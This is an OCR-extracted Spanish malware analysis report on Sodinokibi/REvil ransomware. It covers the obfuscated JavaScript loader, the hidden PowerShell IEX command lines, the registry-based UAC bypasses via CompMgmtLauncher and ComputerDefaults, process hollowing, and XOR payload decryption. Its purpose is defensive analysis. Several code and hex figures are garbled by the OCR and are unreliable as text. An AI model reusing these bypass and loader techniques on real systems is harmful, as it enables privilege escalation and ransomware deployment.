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1. Informe ejecutivo

En el presente documento se recoge el analisis de una muestra del Ransomware “Sodinokibi”.

El Ransomware Sodinokibi, también conocido como REvil, aparecié a lo largo de la primera
mitad de 2019. Este Ransomware se caracteriza por su gran capacidad de evasion y el gran nimero
de medidas que toma para evitar ser detectado por los motores antivirus.

También se ha observado que este Ransomware aprovecha una vulnerabilidad de los servidores
Oracle Weblogic. Esta caracteristica hace al Sodinokibi peculiar, sin embargo, al igual que otras
muchas familias de Ransomware, el Sodinokibi es un RaaS (Ransomware como servicio), lo cual
significa que mientras un grupo de gente se dedica a mantenery crear el codigo, otro grupo se encarga
de su difusion. [3]

Durante el 2019 se reporté un aumento progresivo de empresas que sufrieron ataques por parte
de cibercriminales organizados en donde hicieron uso de este tipo de Ransomware.

Home :* Express

Unos hackers secuestran archivos del
A{untamiento de Zaragoza en un
ciberataque

HOY ARAGON = 20 NOVIEMBRE, 2019

Figura 1.1: Extracto de Hoy Aragdn sobre el ataque producido por Sodinokibi [1].

RANSOMWARE CIERRA UNA EMPRESA
FABRICANTE DE PIEZAS DE AUTO CON MAS DE
100 ANOS DE ANTIGUEDAD; MAS DE 4 MIL
EMPLEOS PERDIDOS

Figura 1.2: Extracto de noticias seguridad.com sobre el ataque producido por Sodinokibi [2].
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El rango de actuacion del Sodinokibi ha sido diverso, atacando de forma global a un gran nimero
de paises[3] este afio, sin embargo, el ataque se ha centrado principalmente en Europa, USA e India.
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Figura 1.3: Grafico mundial de actuacién Sodinokibi.

De entre los paises mas afectados Espafa se encuentra en el noveno lugar.

%
Micaragua 3.76% _,Israei 7.52

Guatemala 3.76%,

Germany 7.52%

Brazil 4.51%_

Ireland 4.51%_

Greece 5.26%

Spain 5.26% hailand 6.02%

Figura 1.4: TOP 19 paises afectados por el Sodinokibi.
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Pese a haber sido descubierto en la primera mitad del 2019, Sodinokibi fue el Ransomware mas
lucrativo durante el Ultimo trimestre del afio, superando por un casi un 8% en ingresos al Ransomware
Ryuk [4].

B sodinokibi

. Ryuk

¥ Phobos

II Dharma

II DopplePaymer

. MNetWalker

M Rapid

. Snatch
IEncrypt

II Globelmposter

21.5

Figura 1.5: Costes causados por el Ransomware durante el cuarto trimestre del 2019.
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2. Caracteristicas

2.1. Caracteristicas generales loader JavaScript

El javascript, que lanzara nuestro Ransomware, no lo encontramos en nuestros eventos, pero si
esta registrada la deteccion en nuestros sistemas, categorizado a MW desde el 01/05/2019.

MD5:3E974B7347D347AE31C1B11C05A667E2

Clasficacion: MW Brokenirfo: [OK
&

[@] Ranker Risk: [NULL ]
Category: [Suspect (20.21) 01/05/2019 557:01 ]
Dateimpor: [30/04/2019 20:3424 ]
TypeFommatEx: [UNKNOWN J
J

[NuL

Size: [3164334

HeurF: [DESCARTADO ExeType: [Unknown

Google: [DESHABILITADO

J
J
J
Overlay: [NULL ]
|
1

ExeimagsType: [UNKNOWN

Figura 2.1: Caracteristicas del MD5 referentes al loader JS.

Podemos encontrar en VirusTotal (VT) que la mayoria de motores lo clasifican como dropper,
ademas, podemos ver que de otras plataformas de analisis ya lo han detectado como el js que
lanza Sodinokibi:

Kaspersky \_I/ Trojan-Dropper.JS.Agent.pz

McAfee (1) JsiDropper

Microsoft \_I/ Trojan:Win32/Occamy.C
#malware

MalwareName: Sodinokibi: The Crown Prince of Ransomwars

#5Sodinokibi #Ransomware
Adversary: Sodinokibi

#CodeGreenlLabs

codegreen ae

Figura 2.2: Imagenes de VT referentes al Sodinokibi.
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2.1.1. Caracteristicas técnicas loader:

Este Javascript, creara otros Scripts y dll ofuscados los cuales lanzara en nuestro sistema, estos,
tendran un objetivo principal y sera el de realizar un Bypass a la UAC para obtener privilegios y
realizar un Process Hollowing para lograr ejecutar el Sodinokibi. Este punto esta mas detallado
en el apartado “4. Interaccidn con el sistema infectado”

En la fase 1, realizara dicho Bypass haciendo uso del CompMgmtLauncher, el cual, siempre
busca una clave de registro, que, por defecto no existe

556 ﬁHegO‘eateKey HEC LM Software Classes mscfile  \shel\vopen*\command MAME NOT FOUMD
586 ﬁHegCreateKey HEC LM Software Classes mscfile shell SUCCESS
556 ﬁHegQuer}fKey HEC L Software Classes mscfile shell SUCCESS |
956 ﬁHegCreateKey HEC I Software Classes mscfile shelwopen SUCCESS
556 ﬁHegGDseKey HECLMSoftware Classes mscfile shell SUCCESS
956 ﬁHegQuewKey HEC M Software Classes mscfile shelopen SUCCESS |
956 ‘fHegC:eateKey HECLMNSaoftware\Classes mscfile shellopen‘command SUCCESS

Figura 2.1.1. Busqueda fallida del registro.

Por lo que, la creara con el contenido de uno de los powershell (PS) que desea ejecutar
con privilegios de administrador.

Thread:
Class:
Operation:
Result:
Path:
Duration:

Type:
Length:
Data:

2276

Registry

RegSetValue

SUCCESS

HKCU\Software \Classes\mscfile\shell\open'command (Default)
0.0000125

REG_S5Z

446
C:\Windows\SysWOWs4\WindowsPowerShely 1.0'powershell. exe -ExecutionPolicy Bypass -windowstyle hidden -Command "TEX {{[System.IO.File]::ReadAlText(C: \Users

Figura 2.1.2. Creacidn de Clave con contenido de PS.

En la fase 2, realizara el Process Hollowing, este lo intentara realizar sobre el antivirus

Ahnlab.

sub_4B2F84(va, , v9, &loc_412EB8, &savedregs);
Sleep(haaj;

Sleep(l2ee0000) ;
StartProcessHollowing(
&dword 414834,
(signed _ int32)"C:\\Program Files\\AhnLab\\V3iLite3@\\MUpdate2\\Update\\autoup.exe™);

}
JEDRCheck{dword 414884, @, *( DWORD *)(vG + 4)):

! sub_412BFC(v5, "HELR");
Sub 2ERE0CL Adecod 21238040
if ( ServerStatusCheck(ve, (int)"V3 Service™)

&& CheckfutorutRoute((int)"C:\\Program Files\\AhnLab\\V3Lite3@\\MUpdate2\\Update\l\autoup.exe™) )

Sub _ABIrEal);
Sleep(899300000) ;

Figura 2.1.3. Estructura de la busqueda Ahnlab.

Puesto que es probable que no exista dicho proceso, se creara otra instancia de PS sobre
otro proceso para realizar la accidn, en la imagen, apreciamos como se obtiene por
orden, los Threads, se leen los procesos que hay en memoriay se intenta acceder a uno
de ellos
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= (CHAR *)sub_am3FsC();
= (const CHAR *)sub_4@3FBC();
if ( CreateProcessA(v5, v8, ®, @, @, 4u, 8, 8, &StartupInfo, &ProcessInformation} )

IpContext = (LPCONTEXT)sub_412884();

if ( lpContext
‘.
lpContext-»ContextFlags = 65543;
if ( GetThreadContext(ProcessInformation.hThread, lpContext) )

ReadProcessMemory
P Information.hProcess,
ID)(lpContext->Ebx + 8),

4u,
&NumberofBytesRead);
if ( *(_DWORD *)(v4 + 52) == e
&& NtUnmapViewOfSection(ProcessInformation.hProcess, *(PVOID *)(v4 + 52)) )
1
lpBasefddress = VirtualAllocEx(ProcessInformation.hProcess, @, *(_DWORD *)(v4 + B8), @6x3000u, @xddu);
h
else
{

Figura 2.1.4. Busqueda de otro proceso.
2.2. Caracteristicas del payload Sodinokibi

Hay muchas variantes del Payload asi como del Loader, debido a que el Sodinokibi es un RaaS(
Ransomware as a Service), podremos encontrar distintas versiones del Ransomware, ya que, se
encuentra en constante actualizacion.

Las primeras apariciones de este malware datan de abril de 2019, en concreto el 26/04/2019 se

registran por primera vez varios ataques a distintas empresas usando ese Ransomware.

Brokeninfo: [OK

CompierName: [NULL

Category: [Maware (100.103) 06/05/2019 12:38:04
Datelmport:[06/05/2019 1235:20
TypeFormatEx: [EXE

Sze: (161280
Overay: [NULL

HeurFl: [NO_FI
Google: | DESHABILITADO ExcimageType: |PE32_EXE

J
J
J
J
ExeType: [Unknown ]
4

Figura 2.2: Caracteristicas del MD5 referente al Payload Sodinokibi.

2.2.1. Caracteristicas técnicas del payload Sodinokibi

Este payload, sera un ejecutable cargado en memoria, cuyo objetivo principal sera, realizar
la tarea mas importante de este Ransomware, cifrar los ficheros y pedir un rescate por ellos,
dentro de este ejecutable, se observan distintas partes bien diferenciadas en las cuales
vemos como lo consigue, este punto esta mas detallado en el apartado “5. Sodinokibi”, las
caracteristicas mas importantes son:

Obtencidon de la Import Address Table (IAT), en la cual, obtendra de forma dinamica
todos y cada uno de los Imports que utilizara a lo largo de todo el proceso, en laimagen se
muestran algunas de las librerias que ha cargado.

Address | Hex ASCII

76B32FBE |41 64 64 49|6E 74 65 67|72 &9 74 79|4C 61 62 65 |AddIntegrityLabe
76B32FCB|6C 54 6F 42|6F 75 GE 64|61 72 79 44|65 73 63 72| 1ToBoundaryDescr
76B32FDE |69 70 74 6F (72 00 41 64|64 4C &6F 63|61 6C 41 &C|(iptor.AddLocalAl
76B32FEB |74 65 72 BE(61 74 &5 43 |6F 6D 70 75|74 65 72 4E|ternateComputernN
76B32FFB| 61 6D &5 41|00 41 64 64|4C 6F 63 61 |6C 41 &C 74| ameA.addLocalAalt
76B2300B| 65 72 GE 61|74 65 42 &F|6D 70 75 74|65 72 4E 61| ernateComputermNa
76B3301B| 6D &5 57 00|41 64 64 52|65 66 41 63|74 43 74 75| mew.AddRefActCtx
76B3302B| 00 41 64 64|53 49 44 54|6F 42 6F 75 |6E 64 61 72| .AddSIDToBoundar
76B3303B|79 44 65 73|63 F2 69 FO|74 6F 72 00|41 64 64 53 |yDescriptor.Adds
76B3304B| 65 63 75 72|65 4D 65 6D |6F 72 79 43|61 63 68 65| ecureMemoryCache
76B3305B |43 61 6C 6C (62 61 63 6B|00 41 64 64|56 65 &3 74(|Callback.Addvect
76B3I306B|6F 72 65 64|43 6F 6E 74|69 6E 75 65 |48 61 6E 64| oredContinueHand
76B3307B|6C &5 72 00|41 64 64 56|65 63 74 6F |72 65 64 45| ler.AddvectoredE
76B3308B|78 &3 65 70|74 69 6F BE|48 61 &E &4 |6C &5 72 00| xceptionHandler.
76E3309B | 41 64 6A 75|73 74 43 61|6C 65 6E 64|61 72 44 61| AdjustCalendarDa
76B3I30AB |74 65 00 41|6C 6C 6F 63|43 6F GE 73 |6F 6C 65 00| te.AllocConsole.
76B330BB |41 &C &C 6F|63 61 74 65|55 73 65 72|50 68 79 73|AllocateuserrPhys

Figura 2.2.1: Obtencidn dindmica IAT.

8

pandasecurity.com/es/business/

< panda

a WatchGuard brand



- Exploit CVE 2018-8453, en el cual, si todavia no hubiera logrado los privilegios de
administrador, utilizara dicho exploit basado en una vulnerabilidad en Win32k.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberacion incorrecto de recursos
Gravedad: Alta [l

Fecha publicacién : 10/10/2

Ultima meodificacion: 02/10/2

Descripcién

s objetos en la memoria. Esto también se conoce como
. Windows Server 2019, Windows Server 2012,

Figura 2.2.2: CVE 2018-8453.

En el proceso, veremos cdmo obtiene el fichero y los atributos que necesita de Win32k y
lanzara dicho exploit.

'pu'sh eax eax: L"C: Y \Wwindows\ i\ system32' \win3zkfull. sys"
€all dword ptr ds:[<&GetFileattributesExw:]

—— e - L & SRR IR P

Figura 2.2.3: Obtencidn atributos win32k.

- Json, este apartado podria ser el mas importante, ya que en todo momento se apoya en
este fichero para hacer comprobaciones como: donde tiene que mandar la informacion del
usuario, que carpetas comprobar, que ficheros cifrar, etc. Este fichero esta almacenado en
una seccion de nuestro Sodinokibi como .grrr, contiene varias formas de control de errores,
si fuera manipulado el Json se acabaria la ejecucion.

Mame Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers
00000240 00000248 0000024C 00000250 00000254 00000258 0000025C
Byte[8] Dword Dword Dword Dword Dword Dword

text 00009974 00001000 00009ADD 00000400 00000000 00000000
.rdata OO0OFT60 V] OO0DOF300 0DOOSEDD 00000000 00000000
.data 00001330 00018000 00001200 00019600 00000000 00000000
.grrr 0000CB00 00010000 0000CB00 0001AB00 00000000 00000000
reloc 0000050C 0D02AD00 0O0D0E00 00027000 00000000 00000000

£

B e o p =

Of f set 01 2 3 4 &5 6 7 B 9 & B S D E F Azcii

nooooono | 73 68 42 4B 72 34 78 48 44 4D 6B 78 52 4B 55 6B shBEr4xHIMk=REUk
oooooo10 | 41 77 71 75 &8 42 72 58 k3 36 48 57 62 66 34 6D AwquhBrEceHWbE 4m
Qoooooz0 | 2E F3 A9 26 FO 54 00 00 48 FF 8E 7D 61 61 Be 17 Lo2EET . Hyl baatD
Q00000030 | 10 48 F5 10 1B 00 93 D7 C2 FB SE 20 D4 89 2E 7E | oHeEoo . p<dal 01~
Q0000040 | 88 DE EB 97 42 32 89 FF DO 94 36 63 9D 71 SB B4 10=1B2 17016 g~
nooooos0 | 57 61 86 42 BB EF A0 58 B7 69 6F A3 0D 8F 33 C1 WalB,i ¥ i0f. 34
00000060 | OF 3E 08 BA DS 3E CD EC D2 9D &0 FD 44 3B 94 OF |0:0e5:1i0 AN |1
nooooov?o | B3 13 YD 60 &C 1D BC 44 FB8 93 8F E3 CC BE A8 92 0371 WJal 5l
noooooso | 23 C5 32 38 C2 46 B2 25 A4 FB AE 43 EF 5C 6C B3 #AZBAF HEECIN
00000090 | 1E 64 02 87 9B DA 29 47 &7 C3 2E BD 75 EE 99 03 d 11T)Ggd Huilo

Figura 2.2.4: Json en seccién .grrr.

9

pandasecurity.com/es/business/

< panda

a WatchGuard brand



3. Vector de entrada

La forma mas comun de que el Sodinokibi llegue a los sistemas es a través de un correo malicioso
perteneciente a una campanfa de phishing. Este correo contiene un link desde el cual el usuario
descargara un archivo .zip, el cual contendra el loader del sodinokibi. Los atacantes distribuyen el
malware de esta manera ya que resulta mas sencillo llegar de esta forma a la victima'y, por otra parte,
al distribuir el malware dentro del .zip consigue evadir algunas protecciones contra malware del
equipo a infectar.

El contenido del .zip normalmente correspondera a un archivo JavaScript ofuscado como el que
analizaremos en este informe.

4. Interaccion con el sistema afectado

En primer lugar, nos encontramos con el javascript ofuscado que sera el encargado de dropear,
desofuscary lanzar un script de PS.

Droppea script
Wscript.exe —» Loaderjs |—®» ofuscado.tempen
%temp%

Carga en memoria
test.dlly lanzala
funcién install1l

Powershell.exe

Figura 4.1: Esquema de funcionamiento del Loader

En ejecucion, vemos que lanzara un wscript.exe para ejecutar el Javascript (JS) y este a su vez
ejecutara un PS, que realiza un Bypass para escalar privilegios, esto lo realizara con un fichero
generado en %temp%, llamado jurhrtcbvj.tmp.

- spaevunfkbptg
witutwjaemot
r ditgkddivs

var tzmcgs=dfmpln.
augdcuxr A
(1 i
augdcuxr 5t

var oxjcwveflbn
cwveflbn.Type
cwveflbn.Charset
cwveflbn (
cwveflbn
evunf

oxjcwveflbn File(fwruloa,2);
oxjcwveflbn ¥i

Figura 4.2: Ejecucion del droppeo del temporal.
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Posteriormente, vemos que lanzara un PS para desofuscar el tmp y ejecutarlo. El powershell es
lanzado por wscript.exe.

| @ wscript exe
N powershel exe

C:\Windows\SysWOW64\WindowsPowerShell\vl.@\powershell.exe"” -ExecutionPolicy
Bypass -windowstyle hidden -Command "TEX (([System.I0.File]::ReadAllText(

'C:\Users\INFECT~1\AppData\Local\Temp\jurhrtcbvj.tmp')).Replace("1","'"));

Figura 4.3: Desofuscado del temporal.

Cuando termine la ejecucion del powershell, intentara contactar con alguno de los 3 dominios que se
aprecian en la siguiente imagen y finalizara.

rXMLHTTR" ) ;
stri{2,180)};

sp.com.br/video.php'}) {
lolizi.c o.php'})) {

villalormeraie. com/ eo.php'};

Figura 4.4: Conexion de 3 dominios

El temporal droppeado jurhrtcbvj.tmp, también es un script ofuscado, que trata, en primer lugar,
de una primera ofuscacion utilizando el signo “I” y una segunda de cargar un base64, veremos que
contiene otra cadena en base64, la cual, lanzara una funcién installl(), que se encargara de cargar una

dll, con un Load.

I'__'Jiurhnc:bvj.tmptZ|
‘ 1 St!'larc!!-I151elelp!!! —g!! 113111211 [Sy!s!!t'em!.!Tlext!!.En!c'o!!di'ng!]:!!:'Un!!lic!!o!d!!e.!Ge!ltSt!c!i! Ing! {[!

evmu/LMjICctduw+? IrGo7hrBlFtNpyzt qb+nsbrC0Z319R+NR]j /13K8eZudDr

UP99+++vhbvedsxb03Tn8ktnS
1 [rReflection.Assembly]::Load($uUnFiBy) [Test]::Installl(

Figura 4.5: Primer desofuscado del Script.

Al reemplazar las instrucciones de ejecucion por la de escritura del fichero, obtuvimos el Script
desofuscado.

$UnF1By = New-Object Byte[] (941856

$Defst.Read($UnFiBy, 0, 941056) | Out-Null
\payload 1l.netmodule',$UnFiBy);

[io.file]::WriteAllBytes('C:\Users\ \Desktop\=

Figura 4.6: Segundo desofuscado del Script
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El fichero obtenido es un mddulo de .NET que, efectivamente, contiene una funcion llamada Install1(),
que carga en memoria y ejecuta el contenido de una variable ofuscado en base64.

Figura 4.7: Install1() Ofuscada que contiene 1° DLL.

4.1. Fase 1: Privilegios

Una vez desofuscado los base64, obtenemos una dll que se encargara de realizar el Bypass de la UAC
gue hemos visto en el apartado dinamico del punto anterior.

Va a la fase final

Comprueba los

1* DLL/Test.dIl  — o
privilegios del proceso

Busca el registro - crea con .
Software\Classes\mscfile\open\command\ S

l

N
El nuevo explorerexe '\

) \F»
c£jecuta un nuevo |

explorer.exe | /

CompMgmtLauncher.exe
J Y,

l

Puesto que
CompMgmtLauncher

Ejecuta el PS con
permisos de

tiene Autoelevate, .
administrador

tiendrd privilegios

Figura 4.1.1: Esquema Bypass.

En primer lugar, la dll comprueba los privilegios que tienen los procesos, ya que necesitara permisos
de administrador para poder realizar todas las acciones. Por ello, mediante la [lamada a las funciones
AllocateAndInitializeSid y CheckTokenMembership comprueba a que grupo de usuarios pertenece el
token, y, por lo tanto, que permisos tiene.

En la primera imagen, podemos observar como inicializa un SID, una vez lo tiene listo, hace la
comprobacion en el paso nimero dos, con ella determinara que el SID esta disponible para el token de
acceso. Como vemos TokenHandle es llamado con el argumento 0, es decir, no especificara un hiloy
utilizara el hilo que se le asigne por defecto.

< panda 12
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Este paso sirve para comprobar si el proceso que emplea tiene permisos de administrador, ya que
cuando se ejecuta, no tiene los permisos suficientes y debera elevarlos. Es el paso previo a escalar
privilegios de la UAC.

lea eax, [ebp+pSid]

push eax 3 p=>id

push @ 3 nSubfuthority?

push a 3 nSubfuthoritye

push @ 3 nSubAuthoritys

push @ 3 nsubfuthority4

push @ 3 nSubfuthority3 o
push a 3 nSubfuthority2

push 228h 3 nSubAuthorityl

push 28h 3 nsubfuthority@

push 2 3 nSubfuthorityCount

push offset pIdentifierfuthority ; pIdentifierAuthority
call AllocateAndInitializeSid

call sub 48B7BC

Lea eax, [ebp+IsMember]

bush EEN ; IsMember

mov eax, [ebpt+p5id] e
bush eax 3 SidToCheck

bush @ 3 TokenHandle

Eall CheckTokenMembership

If TokenHandle is NULL, CheckTokenMembership uses the impersonation token of the calling thread. If the thread is not

impersonating, the function duplicates the thread's p n to create an im

Figura 4.1.2: Rellenado de la estructura SID.

Como hemos comentado anteriormente, si no tiene los privilegios de admin, seguira y sino llegara a la
parte final de la dll

call _CheckToken
test al, al
jnz loc_413BEF
A J
P
mov eax, offset dword_ 415894
loc_413BEF: call sub_484868
call sub_4133E@ call _GetCMD
mov esi, eax
test esi, esi
jle short loc_413B67

Figura 4.1.3: Condicional que comprueba si hay privilegios admin.

Llegamos al Bypass y nos encontramos con dos formas distintas de realizarlo, con la primera funcién,
que ya hemos visto en el esquema anterior, utiliza el CompMgmtLauncher para realizar el escalado
de privilegios, si no ha podido realizar dicho escalado, ya que podria estar parcheado, lo realizara,
utilizando DelegateExecute con ComputerDefaults.exe, otra técnica muy similar.

Por pasos, en la primera funcidn, que es la que se realiza, crea una nueva entrada de registro en
Software\Classes\mscfile\open\command\.
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lea eax, [ebpt+var_B]

mowv edx, offset asoftwareClasse ; "Software’\\\Classes'\\\mscfile shell™
call _CreatePoint

mowv ecx, [ebptvar 4]

mowv edx, [ebptvar 8]

mow eax, Se8ea8alh

call _Registry

push 1778h ; dwMilliseconds

call S5leep

push offset alCWindowsSystem ; "C:\\Windows\\System32\\CompMgmtLauncher’
mov ecx, offset aCWindowsExplor ; "C:'‘\Windows'\\explorer.exe"

Xor edx, edx

xor eax, eax

call _RunasExdecute

push 1778h ; dwMilliseconds

call Sleep

Figura 4.1.4: Nueva entrada de registro.

Esto se hace, ya que, por defecto la dll busca este registro y no lo encontrara, es una técnica bastante
usada en el dll hijacking.

556 ﬁﬂeg&eatel{e}r HKC UM Software\Classes'mscfile \shel\open\command NAME NOT FOUND
956 ﬁ RegCreatekey  HKCUMSoftware'Classes \mscfile shell SUCCESS

556 ﬁ RegQuervkey  HKCLUMSoftware'Classes mscfile“shell SUCCESS I
556 ﬁ RegCreatekley  HECLUMSoftware'Classes mscfile shelopen SUCCESS

556 ﬁ RegClosekey  HKCUMSoftware'Classes mscfile shell SUCCESS

956 ﬁ RegQuervkey  HECUMSoftwars'\Classes mscfile shelopen SUCCESS I
55H6 ‘f RegCreatekey  HKCUMSoftwareClasses'mscfileshelopencommand SUCCESS

Figura 4.1.5: Blsqueda fallida del registro

Posteriormente, hace uso de CompMgmtLaunchery de explorer.exe, su funcionamiento es crear una
nueva instancia de explorer.exe y esta, lanzara CompMgmtLauncher, cuando se lance, esta dll buscara
el registro de MgmtLauncher, al haber creado una entrada nueva de registro con este nombre y con

el contenido del script, se ejecutara el PS con permisos de administrador, puesto que este ejecutable,
como vemos pertenece a System32

¥ powershell exe 2636 ﬁHegOpenKe'y HKLM" Software " Wow6432MNode \Microsoft ' Windows Cument Version
E¥powershell exe 2636 &5 Process Create  C:\Windows'explarer.exe |
powershell exe 2636 ﬁ RegSetinfokey HELMA\SOFTWARE WowE43Z2Node  Microsoft \ Windows\Cument Version
Thread: 196
Class: Process
Operation: Process Create
Result: SUCCESS
Path: Ci\windows\explorer.exe
Duration: 0.0000000
PID: 24584
Command line: "C\Windows\explorer.exe™ C:\Windows\System32\CompMgmtLauncher.exe
956 @ ReqGuen/Value HKLM\SOFTWARE\Wow8432Node' Microsoft\Windows\CurentVers _SUCCESS Type: REG_EXPAND_SZ, Length: 34, Data: %:System Root 2hinf
956 g?rucesa Create C.\Wu.wduws\eaq)lmer.exe . SUCCESS PID: 1504, Command line: "C:\Windows'\explorer.exe” C:\Windows"System 32\ CompMgmt Launcher.exe

956 @fRegQueryKey  HKCUNSoftware'Classes\mscfileshell\open'command SUCCESS  Query: HandleTags. Handle Tags: (401
956 gRegSaVa\ue HKCUM\Seftware'Classes'mscfile\shel\opentcommandDefault)  SUCCESS  Type: REG_SZ. Length: 446, Data: C:\Windows\SysWOW6£\WindowsPowerShell'w 1.0%powershell exe -Execution Policy Bypass -window

Thread: 2276

Class: Registry

Operation: RegSetvalue

Result: SUCCESS

Path: HKCU\Software\Classesmscfile\shelllopen'command \{De fault)

Duration: 0.0000125

Type: REG_SZ

Length: 6

Data: C:\Windows\SysWOWs\WindowsPowerShellly 1.0\powershell.exe ExecutionPalicy Bypass -windowstyle hidden -Command "IEX (([System.10.File]::ReadAlText{C: {sers

Figura 4.1.6: Procedimiento CompMgmtLauncher.
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Una vez se ha ejecutado con RUNAS este procedimiento, eliminara la key del registro para evitar ser

detectado en el sistema.

CompMgmtLauncher, proviene de Computer management, es decir, mmc.exe (Microsoft
Management Console), originario de windows, por lo que, cuando ejecutamos el comando, este,
simplemente [lama a mmc.exe, la vulnerabilidad se aprovecha del launcher.

=" Run

=

[l

Type the name of a program, folder, decument, or Internet

resource, and Windows will open it for you.

Open:

| -

QK || Cancel || Browse... |

A Computer Management

File Action View Help

= B = HE

A Computer Management (Local | Name
4 [} System Teols
‘E" Task Scheduler
2] Event Viewer
ai| Shared Folders
& Local Users and Groups
‘«1 Performance

[} System Tools
=5 Storage

iy Device Manager
4 %] Storage
= Disk Management

H i cmd A Bmadimnn

Z4Services and Applications

Figura 4.1.7: Llamada a mmc.exe.

—

mmc.exe

Actions
Computer Management (L. &

More Actions

CompMgmtLauncher, tiene caracteristicas de autoelevate, asi que si lanzaramos alguna app con
este ejecutable se lanzaria con permisos de admin, siendo que cuando se ejecuta busca una clave de
registro, al crear la key con un cmd y un Powershell dentro, cuando decimos al sistema que ejecute
el CompMgmtLauncher, este buscara la key, la tendra, la ejecutara y lanzara nuestro PS con los

privilegios de admin.

{assemblyldentity

name ="CompMgnt Launcher"

processorArchitecture="and64"

version="1_60._.8_8"
P

{description>Snapin Launcher{sdescription’>
{trustlInfo xmlns="urn:schemas—microsoft-comiasm.v3i">

{security>

<requestedPrivileges’>

<{requestedExecutionLevel
level="requireAdministrator"
uificcess="false"

e
(/quuestedPPiuileges)

{/security>
{s/trustInfol
<asmel:tapplication?

{asmu3:windowsSettings xmlns="htto: /schemas microsoft._com SMI- 2805 -lindowsSettings"'>
{autoElevate *truel autoElevate’

</AEMU3 s WiNAoWSHeTTiNngs >

<sasmu3:application’
sassemhly’>

Figura 4.1.9: Caracteristica de Autoelevate en CompMgmtLauncher.

En segundo lugar, tenemos la otra opcion, el escalado por DelegateExecute, es decir, un escalado
por Fileless, en este caso, vemos como realizara una entrada de una key Software\Classes\ms-
settings\shell\open\command), esto se hace aprovechando una vulnerabilidad, en la que, por
defecto, al ejecutar ComputerDefaults intenta buscar una key Software\Classes\ms-settings\shell\
open\command\DelegateExecute, que no existe, al haberla creado, cuando intentemos ejecutar
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ComputerDefaults, obtendremos una shell con privilegios escalados, o lo que es lo mismo, en nuestro
caso, lanzaremos de nuevo el PS malicioso como admin.

En ambos casos vemos, como elimina la clave una vez ha realizado la elevacion de privilegios.

lea eax, [ebptvar_3]

mow edx, offset aSoftwareClasse ® ; "Software\\\\Classes\\\\ms-settings\\\\s"...
call _CreatePoint

lea eax, [ebpt+var_C]

mow edx, offset aComputerdefaul ; "ComputerDefaults.exe”
call _CreatePoint

mow ecx, [ebptvar_4]

mow edx, [ebptvar_3]

mov eax, 30800881h

call _Registry

lea eax, [ebptvar_ 18]

mow ecx, offset aDelegateexecut ; "DelegateExecute”
mow edx, [ebptvar_8]

call sub_4@842F@

mow edx, [ebpt+var_18]

xor O, BCX

mov eax, 3080028L1h

call _Registry

push 1778h 3 dwMilliseconds

call Sleep

push <]

mow ecx, [ebptvar_C]

xor edx, edx

xor eax, eax

call _RunasExecute

push 1778h 3 dwMilliseconds

call Sleep

mow edx, [ebpt+var_3]

mow eax, S56688881h

call _Deletekey

lea eax, [ebp+var_14]

mow ecx, offset aDelegateexecut ; "DelegateExecute”
mow edx, [ebptvar_8]

call sub_4B42F@

mow edx, [ebp+var_14]

mow eax, S56688881h

call _Deletekey

Figura 4.1.10: Procedimiento Bypass DelegateExecute.

Si seguimos analizando la dll, vemos que en Resources encontramos un PE cifrado, con nombre
“Help” el cual representa a la Fase 2, la inyeccion del proceso y process hollowing.

rcdata DVCLAL 00001 A2E4 neutral 263D4F38C28237B8F3 24420317, B=08..70uSBunuin

HELP 0:000LA2F4  |Russion | 36212B7B797B7B7BTFTBT47B84... [ 6!+ {y{{{.{t{..{{

rcdata PACKAGEINFO (00057 CF4 neutral 000000 8C000000001200000001 ...
Figura 4.1.11: Funcidn Help cifrada en Resources

Dicho PE, es otra dll, que se descifra y se ejecutara nuevamente en memoria, para ello, podemos ver
que realiza el descifrado con una XOR, si vamos lanzando el bucle, vemos cdmo van apareciendo
cabecerasy el habitual MZ de un PE.

—— e v e g e s e
FF12 €&l dword ptr ds:[edx]
85CO0 test eax,eax

~ 7E D& jle installi_payload_desofuscado. 2333AC
201E xor byte ptr ds:[esi],bl
46 inc esi
45 dec eax

~ 75 FA jne installi_payload_desofuscado. 2333A6

33C0 Xor e£ax,edx

_______
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Whoump 1 | Epumpz | @Wpump3 | Woump4 | Eoumps | @ watch1 | x=lLo
Address | Hex ASCIT

00450898 |36 21 2B 7B|79 7B 7B 7B|7F 7B 74 7B |84 B4 7B 7B|B!+{¥ii1-101--11
0045D8AB|C3 7B 7B 7E|7B 7B 7B 7E|3B 7B 61 7B|7B 7B 7B 7B|A{{{{{{{:faf{{{f{
0045D8B8 |78 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B | {{i{{{i{{f{{{ffq
0045D8C8(7E 7B 7B 7B|7BE 7B 7B FB|7B 7B 7B 7B|7B FA 7B 7B|{{{{iitii{iiizii
00450808 |C1 &8 7R 75|64 CF 72 BG|SA €3 7A 37|B6 5A EB EB|Ak{udIryZAzryzés
0045D8ES|2F 13 12 08|58 OB 09 14|1C 09 1A 16|58 16 0FE 08|/ ue.feeennn.
0045D8FE8|0F 58 19 1E|5B 0% OF 15|58 OE 15 1F |[1E 0% 5B 2C| . [eefeeelenen. [,
0045D908|12 15 48 49|76 71 5F 4C|7B 7B 7B 7B|7B 7B 7B 7B|..HIvg_L{{{{{{{{
00450918 |78 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B|7B 7B 7B 7B | {{{{{{{{{f{{{{f{
00450928 |78 7B 7B 7E|7B 7B 7B FE|7B 7B 7B FB|7B 7B 7B 7B | {{i{{fi{{fi{{ff{
00450938 |78 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|{{i{{fi{{fi{{ftq
0045D948| 7B 7B 7B FB|7B 7B FB FB|7B 7B 7B FB|7B 7B FB FB|{{{{{{{i{{{{it{{{{
00450958 |78 7B 7B FB|7B 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B {{f{{fff{fifffsd
Woump 1 | @pump2 | Wpump3 | Eoumpe | Epumps | BB watch 1 | [=] Lo
Address | Hex ASCII

00450898 | 4D GA 50 00|02 00 OO0 00|04 00 OF OO|FF FF 00 7B|MZP...c.u... V.1
0045D8AS|BS 00 00 00|00 00 OO 00|40 00 1A O0(00 00 7B 0O ,....... @..... :
004508E8 |00 00 00 00|00 00 OO0 00|00 OO0 00 OO(7B 7B 7B 7B|............ L5
0045DBCE| 7B 7B 7B 7B|7B YBE 7B FB|7B 7B FB FE|7B FA FB 7B {{{{{{{{{g%{{z 1
